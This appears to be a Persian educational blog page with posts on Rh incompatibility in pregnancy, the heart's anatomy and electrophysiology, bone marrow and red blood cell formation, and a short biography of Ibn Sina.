معمولا آنتی بادی بر علیه گلبولهای قرمز جنین قبل از تولد اولین بچه ساخته نمی‌شود. اما حاملگیهای مکرر نهایتا منجر به افزایش سطح آنتی بادی در خون مادر می‌شود. این آنتی بادیها پس از گذشتن از سلولهای ترفوبلاست مادر به گردش خون جنین می‌رسند و در آنجا با گبولهای قرمز جنین وارد واکنش شده و موجب تخریب آنها می‌شوند. ممکن است روند تخریب گلبولهای قرمز جنین به قدری شدید باشد که موجب مرگ جنین شود. از طرف دیگر جنین ممکن است زنده بماند و در یک وضعیت آنمیک شدید و همراه با یرقان متولد شود.

بدن جنین ممکن است در راه تلاش جهت جبران گلبولهای از دست رفته گلبولهای قرمز نابالغ را از مغز استخوان به داخل خون آزاد نماید. تخریب گسترده گلبولهای قرمز جنین می‌تواند منجر به آزاد شدن مقادیر سمی بیلی ‌روبین به داخل جریان خون شود. از آنجایی که کبد جنین هنوز نابالغ است، این بیلی روبین ممکن است در سلولهای مغز رسوب نموده و موجب آسیب شدید مغز گردد.



نوع مطلب :
برچسب ها :
پنجشنبه 8 مهر 1389 :: نویسنده : هادی مالک

قلب

حرکت خون در بدن در نتیجه نیرویی است که با انقباضات منظم قلب ، فشردگی رگها در اثر حرکات بدنی و یا انقباضات عضلات صاف اطراف رگهای خونی اعمال می‌گردد. اهمیت نسبی هر یک از این مکانیزمها در ایجاد جریان خون در جانوران مختلف متغییر است. در مهره داران قلب نقش عمده را در گردش خون بازی می‌کند. قلب پستانداران از چهار حفره تشکیل شده است. خون برگشتی از ششها وارد دهلیز چپ شده و به بطن چپ می‌رود و سپس به گردش خون سیستمیک (بدنی یا عمومی) رانده می‌شود.
خون جمع شده در بدن به دهلیز راست می‌ریزد و سپس به بطن راست عبور کرده و از آنجا به ششها تلمبه می‌شود (گردش خون ریوی). دریچه از برگشت خون از سرخرگها (آئورت و شش) به بطنها ، به دهلیزها جلوگیری می‌کنند. این دریچه‌ها غیر فعال هستند و با اختلاف بین حفره‌های قلب ، باز و بسته می‌شوند.
دریچه‌های دهلیزی بطنی توسط رشته‌هایی به نام طنابهای وتری به ستونهای کوچک متصل هستند. طنابهای وتری از برگشت لبهای دریچه‌ها به داخل دهلیزها هنگام انقباض بطنها و زمانی که فشار داخل بطنها خیلی از فشار داخل دهلیزها جلوگیری می‌کنند.

ساختمان دیواره قلب
دیواره قلب پستانداران از داخل به خارج تشکیل شده است، از آندوکارد که آندوتلیوم ساده‌ای است که به صورت لایه نازکی سطح داخلی حفره‌های قلب را مفروش می‌کند. لایه دوم میوکارد یا عضله قلب است که بخش قابل انقباض قلب می‌باشد و تقریبا تمام حجم قلب را تشکیل می‌دهد و لایه خارجی یا اپی‌کارد یا اپی‌گاریوم نامیده می‌شود.
این لایه نیز به صورت ورقه نازکی سطح خارجی قلب را می‌پوشاند، این مجموعه در داخل کیسه‌ای از فیبرو سروز (لینی آبشامه‌ای) به نام آبشام قرار می‌گیرد. آبشام محتوی مایع شفافی است و باعث تسهیل حرکات قلب می‌شود. آبشام کیسه دو جداره‌ای است که از دو لایه داخلی یا امثاییکه به سطح قلب می‌چسبد و لایه خارجی یا لایه جداری تشکیل شده است. قلب از سه نوع عمده عضله دهلیزی ، عضله بطنی ، رشته‌های عضلانی تخصص یافته تحریکی و هدایتی تشکیل شده است.

ساختمان بافت شناسی عضله قلب


میوکارد یا عضله قلب از دستجات رشته‌ها یا سلولها کم و بیش پهنی تشکیل می‌شود هر رشته مانند عضله اسکلتی مخطط بوده ، میوفیربلهای (تارچه‌ها) مشخصی تقریبا نظیر عضله اسکلتی که محتوی فیلامانهار اکتین و میوزین هستند. از کنار هم قرار گرفتن غشای دو سلول مجاور دو نوع منطقه بوجود می‌آید، یکی هنگامی که انتهای یک رشته عضلانی عمود بر انتهای رشته عضلانی دیگر قرار گرفته تشکیل می‌شود. و صفحه ارتباطی یا صفحه بین سلولی یا دیسکها درهم فرو رونده یا دیسک انترکاله نامیده می‌شود.


در این صفحات انتهای رشته سلولی عمود برهم چین خوردگی زیادی دارند و بطور موازی باهم سیر کرده و مقاومت در این ناحیه بسیار کم است و فقط 400/1 مقاومت غشای خارجی رشته عضله قلب است. این مناطق همیشه در خط (z) بوجود می‌آیند. منطقه دوم از کنار هم قرار گرفتن غشاهای کناری یا جانبی سلولها یا رشته‌ها تشکیل می‌شود، بوسیله اتصالات محکم غشاهای دو سلول مجاور کاملا بهم نزدیک می‌شوند! این مناطق را اتصالات محکم می‌نامند. این تشکیلات علاوه بر اینکه سلولهای قلبی را بطور محکمی در کنار هم قرار می‌دهند، سبب تسهیل عبور جریان الکتریکی از یک سلول قلبی به سلول دیگر می‌گردند.

سن سی سیوم
سن سی سیوم به بافتی گقته می‌شود که دیواره حد فاصل سلول از بین رفته و هسته‌ها موجود باشند. قبل از اختراع میکروسکوپ الکترونی تصور بر این بود که بافت عضلانی یک بافت سن سی سیال است. زیرا با میکروسکوپ نوری دیواره حد فاصل سلولها به خوبی قابل تشخیص شود. اما بعد از اختراع میکروسکوپ الکترونی و مطالعه بافت عضلانی قلب توسط آن مشاهده گردید که سلولهای عضلانی قلب یک واحد کامل بوده و هر یک بوسیله یک غشای سلولی احاطه می‌شوند و حالت سن سی سیالی ندارند.

اما به دلیل ارتباط خاص سلولی بین وجود صفحه بین سلولی و اتصالات محکم شکافی بافت قلب از نظر عملکرد همانند یک سن سی سیوم رفتار کرده ، یعنی بواسطه این تشکیلات سلولهای عضلانی قلب چنان محکم و فشرده به یکدیگر متصل شده‌اند که هرگاه یکی از سلولها تحریک شود پتانسیل عمل حاصله به تمام سلولها انتشار می‌یابد و در تمام قلب منتشر می‌شود. یعنی سلولهای قلب همانند یک کل واحد یا یک سلول عمل می‌کنند و به همین دلیل به جای سن سی سیوم بافتی ، سن سی سیوم عملی گفته می‌شود.

پتانسیل عمل در عضله قلبی
بخش اول پتانسیل عمل یعنی دپولاریزاسیون سریع و اورشوت آن که در نتیجه عمل کانالهای سریع سریمی انجام می‌شود . بعد از دپو لارزیاسیون سریع و اورشوت، پتانسیل عمل در عضله بطنی دارای یک فاز کفه‌ای است، کفه توسط دسته دیگر از کانالها که با کانالهای سریمی سریع فرق دارند ایجاد می‌شوند. این کانالها بر خلاف کانالهای سدیمی سریع به آهستگی باز می‌شوند و کانالهای آهسته نام دارند و یونهای کلسیم و سدیم را هدایت می‌کنند.

همچنین دیر باز شدن کانالهای پتاسیمی به ایجاد کفه کمک می‌کند. یکی که در فاز کفه‌ای وارد سلول می‌شود و به شروع انقباض سلولهای بطن کمک می‌کند. روپولاریزاسیون سلولهای بطنی در اثر بسته شدن کانالهای آهسته کلسیمی و سریمی و باز شدن با تاخیر کانالهای پتاسیمی صورت می‌گیرد.


فعالیت الکترونیکی عضله قلب
قلب یک تلمبه عضلانی است که خون را به دستگاه سرخرگی پمپ می‌کند. موج تحریک در قلب پیس میکر با بخش مولد ضربان شروع می‌شود. گسترش موج تحریک در بقیه قلب بستگی به نحوه تماس سلولها دارد. اتصالات بین رشته‌های عضلانی در قلب مقاومت پایین داشته و اجازه عبور به فعالیت الکترونیکی از یک سلول به سلول دیگر را می‌دهد، همین امر سبب انقباض همزمان عضله قلبی می‌شود.
عوامل موثر بر خواص سلولهای عضلانی قلب
استیل کولین که از انتهای رشته‌های عصبی کونیرژیک آزاد می‌شود، نوسانی بین پتانسیل تولید شده در سلولهای پیس میکر را زیادی می‌کند و در نتیجه تعداد ضربان قلب را کم می‌کند، این فرآیند اثر کرونوتروپیک منفی نامیده می‌شود. رشته‌های پاراسمپاتیک کولیزژیک و گره سینوسی و گره دهلیزی بطنی قلب مهره داران عصب دهی می‌کند. اپی نفرین و نورا اپی نفرین هم تعداد ضربان را افزایش داده (اثر کرونرتروپیک مثبت) و هم قدرت انقباض قلب را زیاد می‌کند (اثر انیوتروپیک مثبت).


تنظیم جریان و گردش خون در بدن به‌وسیلهٔ قلب انجام مى‌گیرد. قلب عضوى است ماهیچه‌ای، تقریباً به اندازه یا کمى بزرگ‌تر از مشت بسته و به وزن تقریبى ۳۰۰ گرم که در قفسه سینه و در بین دو ریه جاى گرفته است. قلب درون کیسهٔ ظریفى به‌نام آبشامه قلب قرار دارد که محتوى مایعى است و قلب را در برابر فشارها و ضربات مکانیکى حفظ مى‌کند، ضمناً رگ‌هاى مختلفى که به قلب متصل هستند آن را در جاى خود نگه مى‌دارند. دیوارهٔ قلب از خارج به داخل از سه لایه پریکارد، میوکارد، آندوکارد تشکیل شده است. درون قلب ۴ حفره وجود دارد که دو تا بالایى دهلیز و دو تاى پائینى بطن نامیده مى‌شوند. دهلیز راست با بطن راست توسط یک دریچه سه لتى ارتباط دارد و دهلیز چپ با بطن چپ توسط یک دریچه دو لتى به‌نام میترال مربوط است. بین دهلیزها و نیز بطن‌ها ارتباطى وجود ندارد و یک دیواره ماهیچه‌اى آنها را از یکدیگر مجزا مى‌کند.     

دهلیز راست
قسمت بالایى و راست قلب را تشکیل مى‌دهد و دیوارهٔ نازکى دارد. خون از تمام قسمت‌هاى بدن، به‌استثناى شش‌ها به‌وسیلهٔ سه سیاهرگ ”ورید“ به داخل آن مى‌ریزد.


این سه سیاهرگ عبارتند از:     
     الف- بزرگ سیاهرگ زیرین که خون قسمت‌هاى بالاى بدن ”قفسهٔ سینه، سر و گردن و اندام‌هاى فوقانی“ را به دهلیز راست مى‌آورد.     
     ب- بزرگ سیاهرگ زیرین که خون قسمت‌هاى پائین ”شکم و اندام‌هاى تحتانی“ را در دهلیز راست مى‌ریزد.     
     ج- سینوس کورونر (Coronary Sinus)، که خون تیرهٔ قسمت اعظم ماهیچهٔ قلب را به دهلیز راست مى‌آورد.     

سرانجام خون سیاهرگى از دهلیز راست وارد بطن راست مى‌شود.
     
بطن راست
قمست راست و پائین قلب را تشکیل مى‌دهد و جدار آن از دهلیز راست کلفت‌تر است. تنهٔ سرخرگ ششی، که خون تیره و تصفیه نشده را به شش‌ها مى‌برد، از سطح بالایى این بطن شروع مى‌شود. در مبدأ این سرخرگ دریچهٔ سرخرگ ششى قرار دارد.
     
دهلیز چپ


قسمت چپ و بالاى قلب را تشکیل مى‌دهد و کمى از دهلیز راست کوچک‌تر است ولى دیواره کلفت‌ترى دارد. چهار سیاهرگ ششى به آن مى‌ریزند و خون اکسیژن‌دار شش‌ها را به دهلیز چپ مى‌آورند. خون از دهلیز چپ با انقباضات آن وارد بطن چپ مى‌شود.     

بطن چپ

قسمت پائین و چپ قلب را تشکیل مى‌دهد و تقریباً تمام رأس قلب از این بطن درست شده است. ضخامت جدار این بطن سه برابر ضخامت بطن راست مى‌باشد. خونى که از دهلیز چپ وارد بطن چپ گردیده توسط سرخرگ آئورت که در قسمت بالا و راست این بطن قرار دارد با فشار به تمام قسمت‌هاى بدن به جز شش‌ها مى‌رود.






نوع مطلب :
برچسب ها :
پنجشنبه 8 مهر 1389 :: نویسنده : هادی مالک
شنبه 17 آذر ماه سال 1386

ماده نرم قرمز یا زرد رنگی است که مجرای میانی استخوان یا حفره‌های بافت اسفنجی را پر می‌کند. مغز استخوان از بافت پیوندی است که در آن سلولهای چربی فراوان و سلولهای پیوندی و تارهای پیوندی و مویرگها و سلولهایی بنام میلوگونی وجود دارد. میلوگونیها مولد گلبولهای قرمز و گلبولهای سفید هستند.




تصویر

در اسکلت آدمی سه نوع استخوان ، پهن و کوتاه و دراز وجود دارد. هر سه نوع استخوان از بافت استخوانی درست شده‌اند و پرده‌ای به نام ضریع آنها را می‌پوشاند. بافت استخوانی از سلولها و بخش زمینه‌ای که بین سلولها را پر می‌کند درست شده است. بافت استخوانی به دو صورت بافت متراکم و اسفنجی وجود دارد. بافت استخوانی متراکم مانند تنه استخوانهای دراز از مجموعه‌هایی به نام سیستم هاورس درست شده است.

در هر سیستم هاورس یک مجرا و تیغه‌های استخوانی متحد‌المرکز وجود دارد. در مجرای هاورس رگهای خونی و اعصاب وجود دارند. در بافت اسفنجی تیغه‌های نامنظم استخوانی دیده می‌شود که در حفره‌های وسط آنها مغز استخوان و رگهای خونی قرار دارند. ضریع پرده‌ای است پیوندی ، مرکب از دو لایه و همین لایه ضریع است که رشد قطری استخوان را سبب می‌شود.

انواع مغز استخوان

مغز استخوان بافت نرم و پرعروقی است که داربست آن را بافت رتیکولر تشکیل می‌دهد و بر روی آن سلولهای مختلف خونی ، خونساز و چربی قرار دارد. مغز استخوان حفره مرکزی استخوانهای دراز و فضاهای بین ترابکولی استخوانهای اسفنجی را پر می‌کند. مغز استخوان به دو صورت مغز قرمز و مغز زرد دیده می‌شود که اولی عمدتا از سلولهای خونساز تشکیل شده و بافت میلوئید نیز خوانده می‌شود و دومی عمدتا حاوی سلولهای چربی است.

در مرحله جنینی و پس از تولد تا مرحله بلوغ همه استخوانها حاوی مغز قرمز می‌باشند ولی در بزرگسالان مغز قرمز محدود به مهره‌ها ، استخوانهای جناغ ، دنده‌ها و استخوانهای جمجمه می‌باشد و در بقیه جاها با مغز زرد جایگزین می‌شود.



تصویر

عملکرد مغز استخوان

اصولا تمام مغز استخوانهای بدن تا دوران بلوغ خونسازی می‌کنند اما مغز استخوان دراز بعد از سن بیست سالگی به بافت چربی تبدیل شده و دیگر عمل خونسازی را انجام نمی‌دهد. از این پس فقط مغز استخوانهایی نظیر مهره‌ها ، جناغ سینه ، دنده‌ها عمل خونسازی را انجام می‌دهند. به تدریج که سن زیاد می‌شود قدرت سازندگی مغز استخوان نیز کاهش می‌یابد و در سنین پیری کم خونی مختصری نمایان می‌گردد. مغز استخوان در واقع جزء دستگاههای خون ساز بدن محسوب می‌شود.

در بزرگسالان اندام خونساز مغز استخوان است اما در جنین کبد نیز به این کار اشتغال دارد. در چند هفته اول زندگی جنین گلبولهای سرخ در کیسه زرده ساخته می‌شوند و در اواسط آبستنی عضو اصلی سازنده گویچه سرخ کبد است. در عین حال تعداد قابل ملاحظه‌ای گلبول قرمز نیز توسط طحال و غدد لنفاوی ساخته می‌شود. در ماههای آخر آبستنی و پس از تولد گلبولهای قرمز اساسا بوسیله مغز استخوان ساخته می‌شود.

سلولهای مغز استخوان

در مغز استخوان سلولهایی به نام سلولهای ریشه‌ای چند ظرفیتی وجود دارد که دو نوع سلول از آنها جدا می‌شود.
  • سلولهای رده لنفوئیدی که لنفوسیتهای نوع B و T را می‌سازند.

  • سلولهای رده میلوئیدی که این سلولها در مسیر تکاملی خود تبدیل به چندین نوع سلول می‌شوند. این سلولها از آن جهت که در محیط کشت قادر به تشکیل کلنی هستند به نام واحدهای کلنی ساز (CFU) شناخته می‌شوند این سلولها عبارتند از:
  1. سلولهای کلنی ساز که رده مگاکاریوسیتی را می‌سازند و در نهایت پلاکتها را بوجود می‌آورند.

  2. سلولهای کلنی ساز که رده‌های گرانولوسیت و مونوسیت را می‌سازند.

  3. سلولهای کلنی ساز که رده ائوزینوفیلی را می‌سازند.

  4. واحد کلنی ساز سازنده رده بازوفیلی.

  5. واحد کلنی ساز که رده اریتروئیدی را می‌سازند. این سلولها در نهایت گلبولهای قرمز را بوجود می‌آورند.



تصویر

دودمان گلبول قرمز

گویچه‌های سرخ از سلولهای اولیه‌ای به نام پرواریتروپلاست بوجود می‌آیند. واحد کلنی ساز رده اریتروئیدی طی سپری شدن مراحلی که نامعلوم است و در اثر عاملهای رشد مختلف به پرونورمربلاست تبدیل می‌شود که اندازه بزرگ و هسته بزرگ دارد. این سلول سپس به مزومربلاست بازوفیلی که اندازه و هسته کوچکتری دارد تبدیل می‌شود. ساخته شدن هموگلوبین در این سلولها شروع می‌شود این سلولها به نورموبلاستهای پلی کروماتوفیلیک که نسبت به نورموبلاستهای بازوفیلی اندازه کوچکتر و هسته کوچکتری دارند تبدیل می‌شوند.

هسته در این سلولها چروکیده شده ولی ساخته شده هموگلوبین ادامه می‌یابد و سیتوپلاسم دچار چند رنگی است. چند رنگی به علت اختلاط رنگ بازوفیل و هموگلوبین است و اصطلاح پلی کروماتوفیلی از همین جا ناشی می‌شود. سلولهای فوق به نورموبلاستها تبدیل می‌شوند و سرانجام پس از اینکه سیتوپلاسم سلولهای نورموبلاست از هموگلوبین اشباع شد هسته را از دست داده و به سلولهای رتیکولوسیت تبدیل می‌شوند. رتیکولوسیتها دارای منظره مشبک هستند و به همین دلیل رتیکولوسیت نامیده می‌شوند.

رتیکولوسیتها که واجد عمل هموگلوبین سازی هستند بزرگتر از اریتروسیتها بوده و با عمل دیاپدز از دیواره مویرگها عبور می‌کنند و وارد جریان خون می‌شوند. رتیکولوسیتها سپس تبدیل به اریتروسیتها یا گلبولهای سرخ می‌گردند. تعداد رتیکولوسیتها در خون نشانه میزان تشکیل اریتروسیتها در مغز استخوان است. اریتروپوئز یا بلوغ گلبولهای سرخ بطور طبیعی به وجود موادی نظیر ویتامین B12 و اسید فولیک نیازمند است.



تصویر

عوامل موثر در خونسازی
نقش ویتامین B12 بیشتر از اسیوفولیک است و موسوم است به عامل خارجی خونسازی موجود در آن را در محیط خارج و از طریق غذا دریافت می‌کند و ویتامین B12 یا عامل خارجی فقط در حضور یک موکوپروتئین به نام عامل خونسازی داخلی که از غدد معدی ساخته می‌شود جذب می‌گردد. کمبود ویتامین B12 و یا عامل داخلی سبب عدم بلوغ گویچه‌ها سرخ شده و بدین ترتیب سلولهای نابالغی با عمر کوتاه گردش می‌کنند




نوع مطلب :
برچسب ها :
پنجشنبه 8 مهر 1389 :: نویسنده : هادی مالک

تخصصات وی

شرکت در جلسات بحث اسماعیلیان از دوران کودکی، به واسطه پدرش وی را خیلی زود با مباحث و دانش‌های مختلف زمانش آشنا ساخت. پدر وی به توصیه یکی از استادانش به دلیل استعداد او در فراگیری علوم، ‌بوعلی را به جز تعلیم و دانش اندوزی به کار دیگری وادار نکرد، تا اینکه در ابتدای جوانی در علوم مختلف زمان خود از جمله پزشکی مهارت یافت؛ تا آنجا که پادشاه بخارا، نوح بن منصور ( حکومت از 366 تا 387 هجری قمری ) به علت بیماری، وی را به نزد خود خواند و ابن سینا از این راه به کتابخانه عظیم دربار سامانی دست یافت. به این ترتیب وی در علوم مختلف از جمله حکمت،‌ منطق و‌ ریاضیات – که خود شامل عدد،‌ هندسه،‌ نجوم و موسیقی است – تسلط یافت.

تالیفات وی

پدر ابن سینا در 22 سالگی وی درگذشت؛ و وی در برخی کارهای دولتی امیر سامانی عبدالملک دوم را برعهده گرفته بود اما با وجود پرداختن به کار سیاست در دربار منصور سامانی و دستیابی به مقام وزارت ابوطاهر شمس الدوله دیلمی و نیز درگیر شدن با مشکلات ناشی از کشمکش امرا – که سفرهای متعدد و حبس چند ماهه وی توسط تاج الملک، حاکم همدان، را به دنبال داشت – به تالیف بیش از صدها جلد کتاب و تعداد بسیاری رساله پرداخته که هر یک با توجه به زمان و احوال او به رشته تحریر در آمده است. اما از میان تالیفات ابن سینا،‌ کتاب شفا در فلسفه و کتاب قانون در پزشکی شهرتی جهانی یافته است.

تلاشهای فلسفی وی

وی به پشتوانه تلاش یک صد ساله‌ای که پیش از او از سوی کسانی همچون الکندی و فارابی برای شکل گیری فلسفه اسلامی صورت گرفته بود، موفق شد نظام فلسفی منسجمی را ارائه دهد. با توجه به این که پیش از او مقدمات این کار فراهم شده بود، کار و وظیفه ابن سینا این بود که مشکلات و پیچیدگی‌ها را کشف و حل کند؛ همچنین وی با ارائه نظرات خود در زمینه نحوه ارتباط و نسبت بین مفاهیم کلی مثل انسان،‌ فضیلت و جزئیات حقیقی به یکی از پرسشهای علمای قرون وسطی – که مدت‌های طولانی ذهن آنها را به خود مشغول کرده بود - پاسخ داد.

در گذشت وی

بالاخره ابوعلی سینا در سال 428 هجری قمری، زمانی که تنها 58 سال داشت،‌ در حالی رخت از جهان بربست که در زمینه‌های مختلف علمی اقداماتی ارزنده بعمل آورد یعنی اقلیدس را ترجمه کرده رصدهای نجومی را به عمل آورد و اسبابی نظیر ورنیه کنونی ابداع کرد. در زمینه حرکت، نیرو، خلاء، نور، حرارت و چگالی به تحقیقات ابتکاری دست زد، تا جائیکه رساله وی در باره کانیها یا مواد معدنی تا قرن سیزدهم در اروپا مهمترین مرجع علم زمین شناسی بود و اینچنین با ادای دین خود به دانش بشری، نامی به صلابت تمدن ایرانی از خود به جای گذارد



نوع مطلب :
برچسب ها :


صفحات جانبی
آمار وبلاگ
  • کل بازدید :
  • بازدید امروز :
  • بازدید دیروز :
  • بازدید این ماه :
  • بازدید ماه قبل :
  • تعداد نویسندگان :
  • تعداد کل پست ها :
  • آخرین بازدید :
  • آخرین بروز رسانی :